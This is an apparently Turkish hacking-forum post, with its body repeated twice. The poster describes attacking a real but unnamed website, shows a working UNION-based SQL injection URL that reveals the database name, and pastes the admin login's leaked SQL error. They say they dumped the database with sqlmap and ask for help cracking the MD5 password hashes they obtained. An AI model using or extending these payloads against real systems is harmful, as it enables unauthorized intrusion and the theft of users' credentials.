- 20 Mar 2023
- 5
- 0
Arkadaşlar bir (X) sitesinde açık buldum ancak hiç bir ilerleme kaydedemiyorum yani sömüremiyorum o kadar saçma açıkları var ki işi bilen biri içinden geçer şimdi konuyu anlatayım
https://(X SİTESİ)/index.php?id=2' union select 1,2,3,database(),5,6,7,8,9 -- -
yazdığımda bana samariter_1 diye bir şey veriyor evet ancak bundan ilerisine gidemiyorum.
Ayrıca sitenin admin logininde de açık var onuda göstereyim
sitenin admin logininde rastgele bir şey yazın password ve mail bölümüne size böyle bir hata veriyor
Login war nicht erfolgreich, bitte nochmals versuchen.
efe6398127928f1b2e9ef3207fb82663
SELECT * FROM samu_login LEFT JOIN samu_adr ON samu_login.adr_id=samu_adr.adress_id WHERE mail='wqeqwe' AND passwort='efe6398127928f1b2e9ef3207fb82663' AND passwort!=''
efe6398127928f1b2e9ef3207fb82663 Bu arada bu ikisi sizin yazdığınız şeyleri hashliyor yani bu şifre veya mail değil
efe6398127928f1b2e9ef3207fb82663
ve ayrıca sqlmap ilede tüm herşeyi aldım ama mail ile şifre hashlenmiş md5 halinde hem encode sitelerinden falan çevirdim hemde linuxda bazı toolar ile ama yinede birinden boşluk çıkıyor diğerinden hiç bir şey çıkmıyor yardımcı olursanız sevinirim.
https://(X SİTESİ)/index.php?id=2' union select 1,2,3,database(),5,6,7,8,9 -- -
yazdığımda bana samariter_1 diye bir şey veriyor evet ancak bundan ilerisine gidemiyorum.
Ayrıca sitenin admin logininde de açık var onuda göstereyim
sitenin admin logininde rastgele bir şey yazın password ve mail bölümüne size böyle bir hata veriyor
Login war nicht erfolgreich, bitte nochmals versuchen.
efe6398127928f1b2e9ef3207fb82663
SELECT * FROM samu_login LEFT JOIN samu_adr ON samu_login.adr_id=samu_adr.adress_id WHERE mail='wqeqwe' AND passwort='efe6398127928f1b2e9ef3207fb82663' AND passwort!=''
efe6398127928f1b2e9ef3207fb82663 Bu arada bu ikisi sizin yazdığınız şeyleri hashliyor yani bu şifre veya mail değil
efe6398127928f1b2e9ef3207fb82663
ve ayrıca sqlmap ilede tüm herşeyi aldım ama mail ile şifre hashlenmiş md5 halinde hem encode sitelerinden falan çevirdim hemde linuxda bazı toolar ile ama yinede birinden boşluk çıkıyor diğerinden hiç bir şey çıkmıyor yardımcı olursanız sevinirim.
<3